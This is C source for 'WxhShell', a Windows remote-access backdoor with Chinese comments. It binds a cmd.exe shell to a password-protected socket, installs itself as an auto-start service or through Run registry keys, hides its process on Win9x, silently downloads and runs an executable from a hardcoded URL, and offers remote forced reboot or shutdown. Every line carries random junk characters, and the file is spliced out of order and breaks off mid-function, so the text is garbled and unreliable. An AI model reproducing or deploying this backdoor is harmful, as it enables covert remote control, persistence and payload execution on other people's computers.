    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ?;_Mxal'  
    if(Boot(SHUTDOWN)) +QSH*(,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G 40  
    else { l['ER$(7  
    closesocket(wsh); OSh'b$Z  
    ExitThread(0); gla'urb[i|  
    } i DsY 5l  
    break; G}dq ft5"  
    } |$GPJaNqa  
  // 获取shell Hr}\-$  
  case 's': { {uqP+Cs  
    CmdShell(wsh); w H`GzB"  
    closesocket(wsh); Ty;^3  
    ExitThread(0); P|;v>  
    break; R3#| *)q  
  } ZxCXru1  
  // 退出 ]4FAbY2'h  
  case 'x': { m&MZn2u[4i  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); kFfNDM#D  
    CloseIt(wsh); }Os7[4 RW  
    break; @JJ{\?>  
    } ,s,AkH  
  // 离开 s`]SK^j0  
  case 'q': { G2=d q  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 4~d:@Gmk&  
    closesocket(wsh); `0u)/s$  
    WSACleanup(); D~2n8h"2ye  
    exit(1); g6][N{xW0  
    break; S} &1_I  
        } BG1hk!  
  } MTbCL53!-  
  } y8v0>V0)  
a\p`J9Z@  
  // 提示信息 h6 :|RGF  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); BGstf4v>A<  
} /1+jQS  
  } X9&>.?r  
k/Q8:qA  
  return; 1_@vxi~aW_  
} lvR>%I0`*  
rF/<}ye/4M  
// shell模块句柄 &mba{O  
int CmdShell(SOCKET sock) |Fx~M,Pzg  
{ 1b2xWzpG  
STARTUPINFO si; Xw162/:h  
ZeroMemory(&si,sizeof(si)); T9>,Mx%D[  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 4Ub7T=LG  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; raR=k!3i  
PROCESS_INFORMATION ProcessInfo; 7?uIl9Vk>(  
char cmdline[]="cmd"; HeHo?<>|d  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Ou|kb61zg  
  return 0; uPb.uG  
} r;"Qu  
Zo Ra^o  
// 自身启动模式 hXc:y0 0  
int StartFromService(void) Bv 7os3xb  
{ bhW&,"$Z  
typedef struct <^e  
{ 6ziBGU#.-  
  DWORD ExitStatus; [E qZj/  
  DWORD PebBaseAddress; H00iy$R  
  DWORD AffinityMask; QghL=  
  DWORD BasePriority; H 9?txNea  
  ULONG UniqueProcessId; Jg6@)<n  
  ULONG InheritedFromUniqueProcessId; D@ BP<   
}   PROCESS_BASIC_INFORMATION; i\ )$  
b,#?LdQ%  
PROCNTQSIP NtQueryInformationProcess; cfc=a  
ypTH=]y  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Rvj[Csgi  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; T7(U6yN  
iu`B8yI  
  HANDLE             hProcess; T^2o' _:  
  PROCESS_BASIC_INFORMATION pbi; q9nQ/]rkHF  
MX|@x~9W  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); _u#r;h[  
  if(NULL == hInst ) return 0; 5^N` ~  
(%4O\ s#l  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); VE^IA\J x  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); X/D% cQ6  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); NLev(B:OQH  
t2FA|UF  
  if (!NtQueryInformationProcess) return 0; R]d934s  
H<l0]-S{  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); <07~EP  
  if(!hProcess) return 0; fTi5Ej*/?)  
}x"8v&3CM_  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ZP<OyX?  
S6{y%K2y&  
  CloseHandle(hProcess); )kE1g&  
Bdib)t[  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); f3mQd}<L  
if(hProcess==NULL) return 0; 8~iggwZ~h"  
PWS5s^WM  
HMODULE hMod; Aj"fkY|Q  
char procName[255]; lt{"N'Gw6  
unsigned long cbNeeded; S\@U3|Q5  
oLt%i:,A  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); +GNXV-S  
41i#w;ojI  
  CloseHandle(hProcess); /)V8X#,  
[h0)V(1KR  
if(strstr(procName,"services")) return 1; // 以服务启动 "]yfx@)_  
=qww|B92  
  return 0; // 注册表启动 -g4 {:!*D  
} PC& (1kJ  
fczH^+mI  
// 主模块 mHc5NkvQC  
int StartWxhshell(LPSTR lpCmdLine) ['aiNhlbt  
{ N. 0~4H %U  
  SOCKET wsl; bO }9/Ay  
BOOL val=TRUE; LC0g"{M  
  int port=0; %5<Xa  
  struct sockaddr_in door; v@qVT'qlU  
.Q DeS|l  
  if(wscfg.ws_autoins) Install(); bDV/$@p  
Ym9~/'%]  
port=atoi(lpCmdLine); [9~6, ;6  
=gO4B-[  
if(port<=0) port=wscfg.ws_port; fh9w5hT={  
B?;P:!/1  
  WSADATA data; 77%I%<#  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; CD)JCv  
#M[%JTTn  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ;x-]1xx_  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); OsgjSJrf  
  door.sin_family = AF_INET; Ji0FHa_  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); GNM+sd y+  
  door.sin_port = htons(port); J QA]O/|N  
Z':w X  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { `'b2 z=j  
closesocket(wsl); J|DY /v  
return 1; LDj*~\vsq  
} 1raq;^e9  
v=E(U4v9e  
  if(listen(wsl,2) == INVALID_SOCKET) { q4Y7 HE|ym  
closesocket(wsl); tIo b  
return 1; `~2I  
} 4&G #Bi  
  Wxhshell(wsl); ^NFL3v8  
  WSACleanup(); X`fer%`  
;~(yv|f6  
return 0; c6MMI]+8  
Eb9n6Fg  
} nc.:Wm6Mj  
T}Ve:S  
// 以NT服务方式启动 *JiI>[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 1 abQoe  
{ B$_-1^L e  
DWORD   status = 0; !qug^F  
  DWORD   specificError = 0xfffffff; #?7g_  
?~tx@k$;Es  
  serviceStatus.dwServiceType     = SERVICE_WIN32; f<3lxu  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 1n~^@f#`  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; #:tC^7qk  
  serviceStatus.dwWin32ExitCode     = 0; y`8jz,&.  
  serviceStatus.dwServiceSpecificExitCode = 0; m tVoA8(6  
  serviceStatus.dwCheckPoint       = 0; h<bCm`qj  
  serviceStatus.dwWaitHint       = 0; j-7aJj%  
8_T9[ ]7V8  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); \n^;r|J7k  
  if (hServiceStatusHandle==0) return; m Q^SpK #  
xtzkgb,0[  
status = GetLastError(); Ui`#B  
  if (status!=NO_ERROR) @81N{tg-  
{ * 5(%'3  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; =&WH9IKz  
    serviceStatus.dwCheckPoint       = 0; -b=A j8h  
    serviceStatus.dwWaitHint       = 0; G@scz!Nt  
    serviceStatus.dwWin32ExitCode     = status; FM<`\ d'  
    serviceStatus.dwServiceSpecificExitCode = specificError; ?{wD%58^oG  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?vmoRX  
    return; ;e6- *  
  } __`6 W1  
S%df'bh$  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; q5\iQ2f{WV  
  serviceStatus.dwCheckPoint       = 0; Qn)AS1pL+  
  serviceStatus.dwWaitHint       = 0; &A~hM[-  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); hY|-l%2f  
} 05o<fa2HE  
W;|%)D)y  
// 处理NT服务事件,比如:启动、停止 'q1cc5(ueV  
VOID WINAPI NTServiceHandler(DWORD fdwControl) +nL#c{  
{ j5rMY=|F  
switch(fdwControl) {pC$jd>T  
{ O6Y1*XTmH6  
case SERVICE_CONTROL_STOP: TEi1,yc  
  serviceStatus.dwWin32ExitCode = 0; ?b\oM v5y  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Z=(Tq1t  
  serviceStatus.dwCheckPoint   = 0; qI*7ToBJ  
  serviceStatus.dwWaitHint     = 0; hp}JKj@  
  { -!IeP]n#P  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); t)4] 2z)$  
  } =A(Az  
  return; XzPUll;ZU  
case SERVICE_CONTROL_PAUSE: $0Un'"`S  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; R]4 h)"  
  break; ~"r(PCa@  
case SERVICE_CONTROL_CONTINUE: >S]"-0tGD=  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; D+{& zo  
  break; ~#7uNH2  
case SERVICE_CONTROL_INTERROGATE: H/ar: j  
  break; \w)ddc!ZS  
}; \f@obp  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); t\f[->f  
} v[O?7Np  
-@.FnFa  
// 标准应用程序主函数 `bF4/iBW  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 0U?(EJ  
{ 5RyxVC0<  
/ACau<U]t  
// 获取操作系统版本 XHh*6Yt_ (  
OsIsNt=GetOsVer(); I!T=$Um  
GetModuleFileName(NULL,ExeFile,MAX_PATH); b"w@am>&  
e'.CIspN  
  // 从命令行安装 C]Q}HI#G  
  if(strpbrk(lpCmdLine,"iI")) Install(); P2)/!+`a  
3ej[  
  // 下载执行文件 ^#U[v7y  
if(wscfg.ws_downexe) { se*k56,  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) >v )V2,P -  
  WinExec(wscfg.ws_filenam,SW_HIDE); < Df2  
} \=Od1i  
hp@F\9j  
if(!OsIsNt) { \cK#/;a#  
// 如果时win9x,隐藏进程并且设置为注册表启动 ;9' ] na  
HideProc(); d=dHY(ms]  
StartWxhshell(lpCmdLine); eu'~(_2  
} ahFK^ #s  
else Vz evOS  
  if(StartFromService()) o $'K}U  
  // 以服务方式启动 K9 +\Z  
  StartServiceCtrlDispatcher(DispatchTable); @T J  
else I8k+Rk*  
  // 普通方式启动 ~cV";cD5  
  StartWxhshell(lpCmdLine); K$O2 Fq@y  
zF(abQ0  
return 0; |?TX^)  
} t+D= @"BZP  
(S2E'L L{  
YKzfI9Y  
P_)=sj!>-  
=========================================== 1'|gxYT  
NdrR+t^#  
yQf(/Uxk*x  
Adgfo)X5  
^DVryeLD  
e$E>6Ngsr  
" tl`x/   
zR )/h   
#include <stdio.h> O^@F?CG :1  
#include <string.h> plpb4> S  
#include <windows.h> =MwR)CI#  
#include <winsock2.h> Y(gai?  
#include <winsvc.h> y{ 2\T  
#include <urlmon.h> TeFi[1  
4gZ)9ya   
#pragma comment (lib, "Ws2_32.lib") \["I.gQ  
#pragma comment (lib, "urlmon.lib") Wl }J=  
4'Y a-x x  
#define MAX_USER   100 // 最大客户端连接数 taMcm}*T1  
#define BUF_SOCK   200 // sock buffer a)I>Ns)  
#define KEY_BUFF   255 // 输入 buffer pJuD+v  
[~c_Aa+6N  
#define REBOOT     0   // 重启 v# e*RI2}  
#define SHUTDOWN   1   // 关机 +.zX?}  
J"$U$.W=  
#define DEF_PORT   5000 // 监听端口 Ctx>#uN6  
8,(--A  
#define REG_LEN     16   // 注册表键长度 X"7x_ yOZ  
#define SVC_LEN     80   // NT服务名长度 @!^Y_q  
$k`j";8uR  
// 从dll定义API 5 ed|]LP  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); (LJ7xoJ^  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); `ZT/lB`  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); JP^\   
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); *Ea)b -  
AQ,"):ofvT  
// wxhshell配置信息 }<&?t;  
struct WSCFG { Wevd6)\  
  int ws_port;         // 监听端口 &h_Y?5kK  
  char ws_passstr[REG_LEN]; // 口令 t+\<i8  
  int ws_autoins;       // 安装标记, 1=yes 0=no }pGjc_:']  
  char ws_regname[REG_LEN]; // 注册表键名 sE ^YOT<  
  char ws_svcname[REG_LEN]; // 服务名 6cD3(//  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ^f9@ =I  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 /:"^,i\t  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ]c bXI  
int ws_downexe;       // 下载执行标记, 1=yes 0=no R7O<>kt  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ^E.mG>  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 e X6o 7a  
Q<KF<K'0hg  
}; YMVi7D~;Q$  
D1@yW} 4  
// default Wxhshell configuration |<O^M q  
struct WSCFG wscfg={DEF_PORT, F{rC{5@fj  
    "xuhuanlingzhe", *9aI\#}  
    1, <$d2m6J  
    "Wxhshell", J'tJY% `  
    "Wxhshell", T#i~/  
            "WxhShell Service", <":83RCS  
    "Wrsky Windows CmdShell Service", .gt;:8fw{  
    "Please Input Your Password: ", T Qx<lw  
  1, 57O|e/2  
  "http://www.wrsky.com/wxhshell.exe", IZ87Px>zL  
  "Wxhshell.exe" wQ[!~>A  
    }; y]+[o1]-c  
{fjBa,o #  
// 消息定义模块 | g1Cs  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; KZa6*,, s  
char *msg_ws_prompt="\n\r? for help\n\r#>"; (!qfd Qq#  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; LROrhO  
char *msg_ws_ext="\n\rExit."; P1Eg%Y6  
char *msg_ws_end="\n\rQuit."; {u -J?(s}  
char *msg_ws_boot="\n\rReboot..."; 6']G HDK  
char *msg_ws_poff="\n\rShutdown..."; k'+y  
char *msg_ws_down="\n\rSave to "; d_ x jW  
MZxU)QW1  
char *msg_ws_err="\n\rErr!"; 1$`|$V1  
char *msg_ws_ok="\n\rOK!"; L\5:od[EP  
,Q.[Lc=w  
char ExeFile[MAX_PATH]; TjI&8#AWBA  
int nUser = 0; *'tGi_2?(  
HANDLE handles[MAX_USER]; ZkO2*;  
int OsIsNt; ?M6)O?[  
f( 5; Rf(  
SERVICE_STATUS       serviceStatus; esq~Ehr=  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; BOP7@D  
RLzqpE<rJ  
// 函数声明 ?P4y$P  
int Install(void); 0)7v _|z  
int Uninstall(void); +5 gX6V\  
int DownloadFile(char *sURL, SOCKET wsh); fEiNHVx  
int Boot(int flag); ] w0Y5H "  
void HideProc(void); {47Uu%XT  
int GetOsVer(void); +$#XV@@~  
int Wxhshell(SOCKET wsl); aof'shS8  
void TalkWithClient(void *cs); b5I 8jPj4c  
int CmdShell(SOCKET sock); gm =C0Sp?  
int StartFromService(void); wy{ sS}  
int StartWxhshell(LPSTR lpCmdLine); :ln?PT  
w4_Xby)  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); i_QiE2d  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); d$xvM  
/>pAZa  
// 数据结构和表定义 N U+PG`Vb  
SERVICE_TABLE_ENTRY DispatchTable[] = y>#kT  
{ \I^"^'CP  
{wscfg.ws_svcname, NTServiceMain}, y7+n*|H  
{NULL, NULL} D:?"Rf{)  
}; !%DE(E*'(  
_n{_\/A6f  
// 自我安装 UEt78eN  
int Install(void) -#R`n'/  
{ t0kZFU  
  char svExeFile[MAX_PATH]; Fy!s$!\C0  
  HKEY key; bg_io*K  
  strcpy(svExeFile,ExeFile); Iza;~8dH5  
SGba6b31  
// 如果是win9x系统,修改注册表设为自启动 {P\Ob0)q  
if(!OsIsNt) { {K}Dpy  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { P}(c0/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); a=x &sz\x  
  RegCloseKey(key); dmcY]m  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { L/,g D.h^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #W l^!)#j?  
  RegCloseKey(key); %_CL/H   
  return 0; .Cs'@[Ciy  
    } .IVKgQ B  
  } *uP;rUY  
} -N5h`Ii7  
else { .*xO/pn  
0NU3% 4?  
// 如果是NT以上系统,安装为系统服务 qm'@o -[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 9}Za_ZgG  
if (schSCManager!=0) @g]+$Yj  
{ \2#K {  
  SC_HANDLE schService = CreateService Pn4jI(  
  ( Z_<NUPE  
  schSCManager, +2}Ar<elP  
  wscfg.ws_svcname, -*hPEgcV9  
  wscfg.ws_svcdisp, |9Yx`_DF  
  SERVICE_ALL_ACCESS, l-!"   
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , K K]R@{ r  
  SERVICE_AUTO_START, -nX{&Z3-s  
  SERVICE_ERROR_NORMAL, Pth4_]US  
  svExeFile, x1STjI>i  
  NULL, $}5M`p\&C  
  NULL, Z=;=9<vA  
  NULL, e%4vvPp  
  NULL, {f*{dSm9b  
  NULL |2 =w":2#  
  ); w@O)b-b|w  
  if (schService!=0) ;`kOFg#`)c  
  { S4_ZG>\VT  
  CloseServiceHandle(schService); t6kLZ  
  CloseServiceHandle(schSCManager); TDy)A2Z  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); )56L`5#tS  
  strcat(svExeFile,wscfg.ws_svcname); gp~-n7'~O  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { O U9{Y9e  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); r2PN[cLu|  
  RegCloseKey(key); (2"4PU8  
  return 0; -*Qg^1]i+  
    } DT6 BFx  
  } rM6S%rS  
  CloseServiceHandle(schSCManager); {{[@ X  
} z|Xt'?9&n  
} Z0D&ayzkh^  
T nyLVIP  
return 1; dVGcth;  
} Z=%u:K}[  
'%:E4oI  
// 自我卸载 1rU\ !GfR  
int Uninstall(void) B6\/xKmv?8  
{ S$R=!3* "V  
  HKEY key; eb,QT\/G  
^h#A7 g  
if(!OsIsNt) { + iQ~ Y2Gh  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { K;s`  
  RegDeleteValue(key,wscfg.ws_regname); v<g#/X8  
  RegCloseKey(key); V\FlKC   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { N"Y%* BkH  
  RegDeleteValue(key,wscfg.ws_regname); 6& hiW]Adm  
  RegCloseKey(key); 7Wiwnv_"  
  return 0; O8rd*+  
  } |Xd& aQ  
} sk0/3X*Q%  
} vp d!|/  
else { g u' +kw  
}v?l0Gk(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); %?qzP '  
if (schSCManager!=0) E)X_  
{ #>BC|/P}  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 2(e;pM2Dq  
  if (schService!=0) -(}N-yu  
  { S_VzmCi  
  if(DeleteService(schService)!=0) { iU~d2R+  
  CloseServiceHandle(schService); YxA nh  
  CloseServiceHandle(schSCManager); R_Bf JD.  
  return 0; =FFs8&PKys  
  } (>P z3 7  
  CloseServiceHandle(schService); N5k9o:2  
  } ]x3 )OjH  
  CloseServiceHandle(schSCManager); ,c;#~y  
} HBk5 p>&  
} R\$6_  
*S4&V<W>  
return 1; 6+PP(>em  
} dPgA~~  
-ucR@P]  
// 从指定url下载文件 }:0HM8B7!  
int DownloadFile(char *sURL, SOCKET wsh) =umF C[. W  
{ =Q|s[F  
  HRESULT hr; \(5Bi3PA}  
char seps[]= "/"; AJRiwP|H+  
char *token; }2Im?Q  
char *file; *t={9h  
char myURL[MAX_PATH]; >Wpdq(o  
char myFILE[MAX_PATH]; R9+f^o` W  
Ag1nxV1M$  
strcpy(myURL,sURL); R~N%sn  
  token=strtok(myURL,seps); *y>|  
  while(token!=NULL) F{}:e QD  
  { SBw'z(U  
    file=token; _,-\;  
  token=strtok(NULL,seps); )MX%DQw  
  } x}reeqn  
Ja@ ?.gW  
GetCurrentDirectory(MAX_PATH,myFILE); C|QJQ@bj0  
strcat(myFILE, "\\"); :+ "JPF4X  
strcat(myFILE, file); kYd=DY  
  send(wsh,myFILE,strlen(myFILE),0); rj5)b:c}  
send(wsh,"...",3,0); h 'is#X 6:  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ^AUQsRA7PZ  
  if(hr==S_OK) FOcDBCrOe  
return 0; ab6D&  
else Mq6_Q07  
return 1; `]Vn[^?D  
EkN>5).  
} gJzS,g1]  
i\MW'b  
// 系统电源模块 W*4!A\K  
int Boot(int flag) er!+QD,EM  
{ 7G_lGV_  
  HANDLE hToken; Aca ?C  
  TOKEN_PRIVILEGES tkp; {Z[kvXf"mZ  
):Ekf2  
  if(OsIsNt) { s: MJ{r(s  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); TR{dNO!q  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ayA_[{j%X  
    tkp.PrivilegeCount = 1; :!,.c $M  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; bW'Y8ok[v  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 6M8(KN^  
if(flag==REBOOT) { -%t8a42  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) r8L'C  
  return 0; B#4 J![BX  
} e}L(tXZ  
else { ;[Hrpl S  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) )#Y:Bj7H@2  
  return 0; P~"""3de4  
} xtp55"g  
  } KV'-^\  
  else { 6r,zOs-I]  
if(flag==REBOOT) { q.lh  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 'wTJX>  
  return 0; WF <*rl  
} +Nka,C^O"  
else { sM%.=~AN  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) cACnBgLl  
  return 0; OL#RkD  
} [dXRord  
} VU|Cct&)  
I~c}&'V  
return 1; DAd$u1  
} G@S'_  
11yS2D   
// win9x进程隐藏模块 Cd7d-'EQn  
void HideProc(void) 5c l%>U  
{ d _koF-7  
GJuU?h#:/{  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); gr$H?|n l  
  if ( hKernel != NULL ) )i>T\B  
  { H*>5ne=x  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); . J*2J(T,  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); DzCb'#   
    FreeLibrary(hKernel); ymyk.#Z<%  
  } !^A t{[U  
6~q"#94  
return; *|:]("i  
} v_@&#!u`  
!GVxQll[f  
// 获取操作系统版本 1Aa=&B2  
int GetOsVer(void) Yy0m &3[  
{ .DHRPel  
  OSVERSIONINFO winfo; %AuS8'Uf  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); H=9\B}  
  GetVersionEx(&winfo); @BXV>U2B{  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) tA{<)T  
  return 1; Eh f{Kl  
  else V?cUQghHg  
  return 0; aD3Q-a[  
} 5($ '@u  
pG:)u cj  
// 客户端句柄模块 u@zBE? g  
int Wxhshell(SOCKET wsl) r7p>`>_Q\  
{ .](s\6'  
  SOCKET wsh; D$c4's `5  
  struct sockaddr_in client; S-+^L|  
  DWORD myID; $rE_rZ+]="  
l,3[hx  
  while(nUser<MAX_USER) 5bKn6O)K  
{ bga2{<VF  
  int nSize=sizeof(client); :dzam HbX9  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); -n~VMLd?@  
  if(wsh==INVALID_SOCKET) return 1; _&m   
-vC?bumR%  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); l=JK+uZ  
if(handles[nUser]==0) Zx]"2U#  
  closesocket(wsh); :!Tb/1  
else v4Q8RE?  
  nUser++; %@FTg$  
  } = 8%+$vX  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); #65Uei|F`+  
D}Lx9cL  
  return 0; RA+k/2]y!  
} /fc@=CO  
0qV!-i  
// 关闭 socket {GiR-q{t  
void CloseIt(SOCKET wsh) Wc$1Re{z  
{ Ie?C<(8Ul  
closesocket(wsh); Z`b{r;`m8  
nUser--; ^T|~L<A3  
ExitThread(0); p(Q5!3C0q  
} _\LAWQ|M4[  
&6 L{1  
// 客户端请求句柄 r 6STc,%5  
void TalkWithClient(void *cs) +d736lLe%  
{ Sc*O_c3D  
fm\IQqIK%  
  SOCKET wsh=(SOCKET)cs; pJ5Sxgv{;  
  char pwd[SVC_LEN]; DFt1{qS8@u  
  char cmd[KEY_BUFF]; K(HP PM\  
char chr[1]; ,tL<?6_  
int i,j; cf0D q~G  
HIi 5kv]}|  
  while (nUser < MAX_USER) { O=St}B\!m  
MLcc   
if(wscfg.ws_passstr) { 3l 0>  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $9\!CPZ2  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;HJ|)PN5L  
  //ZeroMemory(pwd,KEY_BUFF); S0Y$$r  
      i=0; u#Qd `@p  
  while(i<SVC_LEN) { Ro?a DrQ  
S:Ne g!`  
  // 设置超时 ; ,]T|> M  
  fd_set FdRead; j xr~cp?4  
  struct timeval TimeOut; i4N '[ P}  
  FD_ZERO(&FdRead); dg 4 QA_"  
  FD_SET(wsh,&FdRead); :- ydsR/  
  TimeOut.tv_sec=8; _S#uxgL<  
  TimeOut.tv_usec=0; }4kd=]Nk  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 1G+42>?<1  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Ed)t87E  
/nRi19a%xU  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :d-+Z%Y  
  pwd=chr[0]; ND7 gxt-B  
  if(chr[0]==0xd || chr[0]==0xa) { A|8(3PiP  
  pwd=0; ^l6q  
  break; oxb#{o9G  
  } W9T,1h5x  
  i++; y!Q&;xO+!  
    } ]-& ehW  
.3&zP  
  // 如果是非法用户,关闭 socket IXugnvyV  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Sf)VQ5U!Y  
} 2mbZ6'p {  
hX]vZR&R  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); `bffw:; %  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =LS?:Mhm  
jyf[O -  
while(1) { Qd 1Q~PBla  
nqt;Ge M  
  ZeroMemory(cmd,KEY_BUFF); &V[m{.  
q7C>A`w  
      // 自动支持客户端 telnet标准   XU .FLNe  
  j=0; WLEjRx  
  while(j<KEY_BUFF) { RJ1 Q.o  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -1~bWRYq  
  cmd[j]=chr[0]; Mjrl KI}f/  
  if(chr[0]==0xa || chr[0]==0xd) { o@r+Y  
  cmd[j]=0; Cw`v\ 9  
  break; E3y"  
  } g&H6~ +\  
  j++; `6b!W0$ -  
    } T"XP`gk  
G_g~-[O  
  // 下载文件 J A ]s  
  if(strstr(cmd,"http://")) { #n 7uw  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ao<@a{G  
  if(DownloadFile(cmd,wsh)) BM#cosV7%h  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); "8aw=3A  
  else iNgHx[*?  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); XS]=sfN  
  } 2Tt@2h_L  
  else { EaG3:<>J  
,Utp6X  
